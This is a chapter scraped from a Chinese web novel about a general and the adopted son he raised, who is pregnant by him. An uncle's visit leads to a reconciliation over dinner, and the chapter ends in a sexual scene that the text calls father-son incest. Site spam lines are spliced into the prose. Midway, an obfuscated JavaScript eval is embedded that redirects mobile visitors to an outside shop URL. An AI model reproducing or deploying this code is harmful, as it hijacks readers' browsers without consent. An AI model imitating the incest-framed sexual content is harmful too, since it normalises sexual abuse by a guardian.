文趣网 > 其他小说 > 暴戾将军的孕妻 > 第 48 章 教坏了你
    第48章第四十八章

    【教坏了你】

    阿成也自知不大对,嘴角微微抽动,有些尴尬的笑起来。

    “若是抛开侯爷是将军义子的身份,再不论这从小的养恩,十岁也不算,断袖之情从古便有,这些倘若都刨除,是不是远远瞧着还是挺....登对的?

    阿成也想让顾玉良早些接手,否则日日来把脉,总是这样板着一张脸,侯爷瞧见肯定会神伤。

    顾玉良幽幽转身去看。

    乔昭被裴却山单手抱着人,两人的剪影....他真懒得再多看一眼!

    顾玉良对阿成道:“手伸出来。

    阿成虎头虎脑问:“怎么了?难道是我身子也有什么问题吗?顾太医。

    顾太医可是圣手,能让人家帮忙把脉一次自然是捡了便宜,他兴冲冲的把手伸过去,“您瞧瞧。

    顾玉良:“我瞧瞧你说假话时,良心痛否。

    阿成:“.....

    他也是亲眼看着乔昭长大的人,付出的感情不比裴却山少,以前乔昭刚道京都,想吃谁家的炙肉,他都是掏出半月俸禄去买的,乔昭那时见到了他便乖乖的说一句‘顾伯对昭儿好,给昭儿买炙羊肉吃’

    而裴却山又是同他年幼相识的挚友。

    此番行径在他眼中,真不亚于梅崇尧同一匹小马驹在一起说着真爱,谁叫梅崇尧爱马如命...

    不过如今事情已经这般,他纵然是个叔伯也难以转圜这般局面。

    若是乔昭不愿意还好,他倒是有的是法子能带人走,偏这乔昭不仅愿意,甚至还乐呵的很呢。

    乔昭如今吃饭都是要下人把饭菜抬到寝房内的,一间寝殿被分隔成许多区域,屏风内是一张极大的床,外头便是用饭的木桌同练字的矮桌,楠木刷了墨漆,大靖的建筑皆是黑红棕三色为主,瞧着倒有些严肃,床边的纱幔是月光白,时不时被吹起在空中飘荡。

    只晚膳便是十六道菜三汤,个个都是入药来炖煮。

    若是乔昭一日不怎么动饭菜,厨子便要换,他这个月的口味有所变化,喜欢食酸,沈兰真把以前若水馆的厨子调来了,又从宫里头弄来了个御厨,每日菜都是变着花的做。

    今日知晓可能在这里用膳,顾玉良还特意带了炙肉来。

    从前乔昭很喜欢他在军营中做的炙肉。

    “这桌上怎么还有梅子肉?顾玉良习惯看着桌子上的菜式点评起来,“这也算菜?

    “带了炙肉来,尝尝。

    裴却山复杂的看他一眼,似乎让他闭嘴的意思。

    乔昭捧着手里的小碗笑盈盈,小声道,“谢谢顾伯,梅子是我爱吃的,您别怪阿爹了。

    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦

    乔昭日日都要吃酸嗜睡又严重经常刚睡醒食欲还未上来便已经又困了。

    他倒是爱吃一些酸梅子奈何人的胃口有限吃了梅子正常饭食便很少吃乔昭自己也知晓这样不对每天只给自己五颗梅子的定量越忍吃旁的东西反而容易呕吐。

    如今孕反还不算严重但没办法人实在是太瘦了只吐了一次裴却山便亲眼目睹他脖颈青筋凸起呕到眼眶泛泪的样子他受不了这些。

    乔昭自己又怕梅子吃多会让孩子生长不好。

    于是裴却山便命人把梅子肉小炒一些肉类哄乔昭说吃梅子开胃只要胃口好多多吃一些没事。

    裴却山如今还是有慈父心肠舍不得瞧他难受。

    好不容易哄着人每天能多吃一些顾玉良又在饭桌上点出来乔昭向来敏感低下头自责起来。

    “他说的不算。”裴却山把梅子肉夹进乔昭的小碗中“吃什么高兴便吃什么。”

    乔昭盯着面前的小碗里面夹着一颗梅子肉他问“多吃梅子是不是对身体不好?”

    “梅子性寒吃的太多自然是不好你还体寒...”话说一半他就瞧见了乔昭红起来的眼圈。

    “那昭儿便不吃了。”他鼓鼓嘴巴将自己碗里面的梅肉夹到裴却山的碗中乖乖的夹了一块驴炙吃“以后把梅子撤了。”

    顾玉良倒是很欣慰这孩子还是愿意听自己的话。

    裴却山担忧的皱起眉:“小口吃

    乔昭点头慢慢咀嚼口中的一小块肉。

    放在平时裴却山纵着他想吃什么便吃什么了。

    可今日顾玉良好不容易愿意同他们一起用膳乔昭还是想要乖一些让自己看起来没有那么任性。

    只一块肉乔昭刚咽下去便有些克制不住单手撑着桌面想要离开裴却山拉住他伸手一招端着盆盂的下人便凑过来。

    乔昭不肯在顾玉良面前吐被裴却山抱到了屏风后。

    隔着一层木质屏风便能听见里面呕吐的声音。

    这是乔昭第二次强烈的呕吐手脚发抖极严重指尖冰凉生理性的泪水被逼迫出来胃液又酸又涩口几次漱口都冲不掉这股苦味裴却山给他塞了一颗酸梅他才啜泣的小声哭起来。

    他向来想要做一个让人省心听话的好孩子若是裴却山如今上朝有公务在身按乔昭的性格一定会想尽办法的去瞒着。

    裴却山就是太清楚他喜欢隐忍的性子如此寸步不离在他第一次孕吐时便已经发现并且在最快时间内给了解决方案距离上一次这般强烈孕吐已有五日。

    乔昭没办法瞒着只是自己心里

    你身边有不少朋友还没看到本章呢,快去给他们剧透吧

    难过惨白的小脸布了泪痕被裴却山擦了又擦吸着鼻尖埋在男人的怀中道“阿爹我是不是搞砸了?”

    裴却山伸手把他的脸颊从怀里捞出来轻声问“怎么会?”

    “可是...”他难过的开始捏紧自己的手指嘟囔道“顾伯好不容易来用膳了。”

    “年幼时每次昭儿大口吃他带来的炙肉他都很高兴...”他咬着唇鼻尖泛酸“可是现在吃不下对我们的孩子也不好怎么办...”

    孕期让他有些敏感焦虑。

    他知晓自己的身体不好日日都要站在铜镜前看小肚子想要看看他们的宝宝有没有长大。

    如今都要三个月了小腹还是平坦什么都没有。

    他有一种没来由的害怕分明两个人都很期待这个孩子他同裴却山都是无根的人...

    正因如此他才很怕两个人的期待就这样落空亦或者因为自己身体的原因没有办法养大他们的孩子。

    知子莫若父他这样的小心思裴却山怎么会不知道?

    每日都要陪他吃饭哪怕吃的慢一些久一些也没关系纵然一顿饭大半吃了梅子肉也没问题他只是希望昭儿不要给自己的压力太大。

    “没事的。”裴却山道“他不知道你会吐。”

    “可是我本想....”

    裴却山清楚他要说什么:“本想着他因为我们的事生气这顿饭你若哄他让他高兴便能让他接纳我们了是吗?”

    “嗯...”

    “这样不对宝儿。”裴却山纵容他吃梅子肉许他少吃唯独在他为了讨好旁人强迫自己时语气严肃起来“顾伯是希望你身体健康才带的炙肉并非是为了看为了哄他高兴才吃你把自己放在哪了?放在讨好他的位置上?”

    “晚辈只是生的晚并非生来就要听长辈的话。”

    乔昭垂着眼睫没有顶嘴

    想到年幼时他也不大爱吃饭父亲经常因为他吃饭的事头疼偶尔吃了一次顾玉良带来的炙肉所有人看着他大口吃肉的样子欣慰大笑起来。

    那时他刚在幽都出来不久留着喜欢讨好人的习惯。

    再后来他发现每次自己吃顾玉良带来的炙肉他们都会笑的很高兴顾玉良还会摸他的脑袋说‘昭儿果然是喜欢伯伯的’

    顾玉良已经同他置气许久好多次把脉他都昏睡没有瞧见顾玉良。

    他是很敬重顾玉良的。

    “当小父亲很不容易了宝儿。”裴却山又给他塞了一块梅子肉让他的两颊有些滑稽的鼓起来“虽然置气但并不妨碍他很在乎你。”

    梅子肉在嘴巴里嚼嚼泪珠欲

    听说看这本书的人都是很幸运的,分享后你的运气会更棒

    落不落,听见这句话实在难过,鼻子更酸,随后再也忍不住埋在男人的怀里哭了。

    “那孩子怎么办?”

    “我们的孩子很好,只是你不好。”裴却山的语气是在陈述客观事实。

    乔昭从小便是个敏感多思的人,如今孕期,自然更甚。

    “昭儿不想顾伯生气,也不想梅伯不理我们...”

    他还是喜欢曾经那样,大家一起欢欢笑笑....

    自从两人的事被发现,顾玉良哪还在诊脉之外的时间来过?除了前些日子沈兰真登门,亲近的人哪还会再来。

    忽然敏感的小父亲,当真惹人怜。

    眼泪不受控制的往下掉。

    裴却山道:“他们只是太忙了。”

    “没事的宝儿,所有人都不会生你的气,他们心疼你,不会的。”

    这便是做父亲的好处,他的话总是有可信度。

    他被男人掐着腰窝抱在腿上,认真难过了好一会。

    裴却山等他哭完,擦掉了他脸上湿漉漉的泪,“哭饿了吗?”

    “有一点。”

    裴却山带捏捏他的哭红的鼻尖:“这么用力的掉眼泪,一会可以用力的吃饭吗?”

    父亲之所以是父亲,便是恩威并施。

    温柔时,是个可靠的长辈,随便一句话能让他觉得安稳。

    一句话便令乔昭觉得,仿佛这并不是什么天大的事。

    裴却山故意有些幼稚的揉他的小腹:“小宝儿说饿了,要不要替他吃一点,如果他爱吃梅子肉的话。”

    乔昭鼻子闷闷,带出一点翁声,“要的...”

    “原来功名在外的小乔公背地里是个贪吃梅子肉的孩子。”

    乔昭的下巴被他挠了挠,咯咯笑起来。

    “昭儿是不是变得好奇怪?”他问。

    裴却山的大手覆盖在他的额头上:“稚子年幼,童言无忌,有何奇怪?”

    “只是父子相奸这事我都做得出来,在外人眼里,我才是奇怪的,无耻的,昭儿可会觉得父亲奇怪?”

    乔昭抿着唇笑笑,摇头。

    他同裴却山的情感,似乎只有他们自己知晓,并非丑闻,而是跨越了生与死的真情,非经历能理解。

    他们曾经天各一方的思念...真心只为对方而生的想法...难克制的私情...

    “昭儿不怪,叔伯们只是需要时间去接受,给他们一点时间,好不好?等我们的小宝儿降生,他们照样疼,信不信?”

    乔昭点头,哭花的小脸可算是有了笑容,白脸蛋沾泪,像清晨沾了露的荷花。

    他把嘴巴里的梅子肉吃完,又重新擦了脸,这才被裴却山重新抱出去。

    只有一扇屏风相隔。

    他们说话的声音再小,

    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦

    顾玉良自然还是听得到。

    如父如夫,天上地下难找再能这般了解昭儿的人。

    乔昭有些尴尬的垂着头,不知应该怎么面对顾伯。

    顾玉良深吸一口气。

    时至今日,他才知晓乔昭并非真的喜欢吃驴炙。

    他只是一个长辈,从未真的抚养过乔昭,这孩子心思如此敏感,如今又怀着孕,他哪里真的狠心。

    乔昭低头准备继续吃饭时,碗中被夹进一块梅子肉。

    顾玉良叹了一口气:“你父亲说的对,置气是置气,我们都很在意你,昭儿。

    “不爱吃,先吃一些旁的吧。

    乔昭咬红了嘴唇,眼皮软软的垂着,水润光泽从毛茸茸的睫毛缝隙里掉出。

    裴却山道:“他如今怀孕,总是喜欢掉泪。

    顾玉良知晓这是孕期多思的缘故。

    怀孕的人情绪会有些变化,乔昭也不能例外。

    只是这次,是因为他们这些叔伯的冷落,分明是可以避免的事,他没吭声,又给乔昭夹了一块梅子肉,“明日我寻一些梅子肉能制的药膳炖来试试吧。

    乔昭撂下筷子,伸出手便被裴却山拢进怀里又掉了珍珠。

    顾玉良这话,分明是要像从前那般关切他了。

    “好容易感动,好心软。裴却山低声笑他,“一会顾伯要看笑话了。

    顾玉良捏紧了拳:“你再叫我伯,我才是真的要翻脸!

    乔昭便连忙去捂裴却山的嘴,泪盈盈的让他别说了。

    裴却山低笑,眉头微挑。

    一顿饭下来乔昭反而多进了些米面,吃了好几口火腿。

    孕期的小腹没有鼓起来,胃倒是先鼓起来了。

    他的食量实在少的令人心惊。

    哪里像是个即将当父亲的吃食。

    顾玉良同他们用完了晚膳便走,郎太医年纪大了,太医院的事大部分时间都要留给他来处理。

    “瞧瞧你的面子多大。裴却山牵着人慢慢的走。

    乔昭单薄衣衫披着披风,亲自来送人离府了。

    “哎,你怎么还出来了。

    乔昭被牵着手,怯怯的躲在男人身后,“想送顾伯。

    顾玉良站在原地,努力接

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17751723|209433||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    受着他们两个如今变了味的亲密,“送到这里罢!明日还来呢。

    “那明日梅伯来吗?他眨眨眼问。

    看着孩子刚在屏风后委屈哭红像小核桃一般的眼,顾玉良哪还说的出拒绝的话?

    但他也实在没有办法答应:“不知。

    乔昭有些失落,抿了抿唇,“哦...

    顾玉良看了一眼裴却山,这男人给他使了个眼神,示意让他解释,因为他若不说,乔昭必然又要

    听说看这本书的人都是很幸运的,分享后你的运气会更棒

    多想。

    老话说早慧必伤。

    聪明的人儿想得多乔昭纵然有着能够谋算天下的才智归根结底也不过是个被常年困在宅院中的小郎君骨子里自然喜欢亲人。

    顾玉良看他这副惹人怜的样子忍不住伸手手到半空又想到曾经几次乔昭都不给他摸头估计也是因为心里头有裴却山的缘故长辈要避嫌他刚要把手收回来。

    乔昭便试探性的把脑袋凑过去给他摸了一把。

    “明儿...”顾玉良真是无奈深叹一声“他不是要去边境护送大俪使臣不一定有空。”

    “哦。”乔昭爽朗的笑起来“原来是这样。”

    还是像小孩一样好哄。

    想到这他又瞪了一眼裴却山威胁道“梅子肉少吃!别太纵容!”

    裴却山点点头拢着乔昭的肩膀“遵命顾——伯。”

    “裴却山!”顾玉良从药箱里头顺手翻找出一个艾草包直接扔在他的身上。

    裴却山抓住:“能不能给他当个荷包?”

    顾玉良翻身上马:“能不然难道给你的?”

    艾草活血若是寻常怀孕的人自然不行。

    乔昭体质偏寒反而适合。

    裴却山揉揉他的小脸:“瞧他就是刀子嘴豆腐心无妨。”

    乔昭这次实在真的高兴了勾住男人的脖颈“真的。”

    “玻璃做的宝儿心里可舒坦些了?”

    乔昭被他横抱起高兴的拿着荷包连连点头“嗯!”

    “我能听听吗?看看还有没有碎掉?”

    乔昭的脸一红埋进男人的脖颈里轻轻磨牙“能...”

    裴却山脚步顿住嗓音瞬间哑然“怎么什么都应。”

    乔昭乖巧道:“听您的话难道不应该吗?”

    “子从夫命...”

    ‘夫’这个字被他咬的很轻分不出究竟是‘夫’还是‘父’

    裴却山向来觉得自己是个道德感极强的人。

    当年他同昭儿心意相通也是犹豫了许久

    偏他听了便被勾起无边的欲。

    很无耻、很下流怪不得顾玉良那群人说他非人也。

    原来....他是真的没有底线。

    “唔...”他抱着乔昭进了寝殿单腿带上了房门还未将人放在床榻上时便已经低头吻了下去。

    乔昭抱紧他的脖颈仰头承接着这份意乱情迷。

    他被放在床榻上后男人为他褪去鞋袜。

    乔昭撑着手臂起身想要问他要不要听自己的心跳。

    但脚心忽然感觉到有些痒男人握着他的脚

    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦

    从脚掌到脚面,粗粝的掌心划过这处肌肤,捋着顺着揉捏着,仿佛是在玩一块美玉。

    “痒...”

    裴却山只能摸摸他的脚,否则乔昭清醒时,实在太动人。

    从小养大的乖巧美人躺在他的身下,任他揉捏,凭他如何用力的吮都乖乖的红着脸。

    即便是亲吻用的力大了些,他痛了,也是咬着自己的嘴唇,鼻尖的闷哼有些像真的小宝一般,掺着几分奶声。

    这样的场景,裴却山觉得自己畜生一些反而正常。

    究竟谁能守着乔昭可以有半分邪念?

    左右他做不到。

    “别动,让我给你揉揉,今日走路了。”

    “可是没有走很远,不是很痛。”乔昭被他看着自己的脚,有些羞了。

    或许是因为他的脚很少沾地面的缘故,这里总是被包裹的很好,长年累月的细心对待,被男人用另一种目光观赏时,他便有羞感。

    好像...这是什么很隐私的位置一样。

    “怎么脚趾都是这个颜色。”裴却山的指腹擦过他的脚趾面,捏了一下,粉白颜色更清晰。

    瞧着...同夏日里的荷花尖儿一个模样。

    像香的,听闻荷花朝露是甜的。

    裴却山揉了揉眼眉,想要把这一股邪气儿赶出去。

    他回头时,乔昭正歪散靠着枕,衣衫解开了一半,眼睛一眨一眨茫然的看着他,肩头露出小半,突出的锁骨好像是玉如意...竟有几分油润的光泽。

    如今肚子还没大起来呢。

    没什么力气撑不住的手臂令他的颌骨和颈形成的角度极美,长发散散的落下来,羞涩微红肿的眼皮...

    此情此景,他倒是想到了一句顾玉良责骂的话。

    瞧瞧你干的好事。

    裴却山,瞧瞧你干的好事。

    “怎么了吗?”乔昭目光迷离的问,“您的手好热...”

    裴却山愣了一会松开他,沉默了半晌,亲了亲他,“宝儿,可以闭一会眼吗。”

    乔昭问不大明白,歪头想问怎么了。

    但当裴却山站起来时,裤裳已经很明显了,他羞红了脸,小声,“肚子里小宝儿,您轻一点。”

    说罢,他就已经乖乖躺下,然后紧张羞涩的敞了腿,脸颊歪到另一边去,不敢看裴却山。

    “记得停...”

    裴却山恨不得剁了,还不到三个月,他哪敢碰人,只是太难耐了,若要他忍到乔昭睡着,只怕是要疯。

    烛火熄了,裴却山让他转过来,只要乖乖闭眼就好。

    乔昭想到了那个梦,那个只有汤婆子的梦。

    略略睁眼,屋子里太暗能看见的东西太少了。

    只是乔昭的皮肤很白,有一点月光便能瞧清楚轮廓。

    裴却山只想贴近他一些,凑近他脸上的轮廓。

    乔昭睁眼看了半天便发现,裴却山原来是站在他的面前,只是有些忙。

    “父亲,要...要昭儿帮吗?”他小声问,“您以前教过我,应该是会的。”

    “您是不是太用力了?和您以前教我的不大一样。”

    他软白冰凉的手去抚,盖在男人粗粝的掌心,接替他。

    裴却山什么都没有说,只有一声难忍的喟叹。

    “原来,真是我教坏了你。”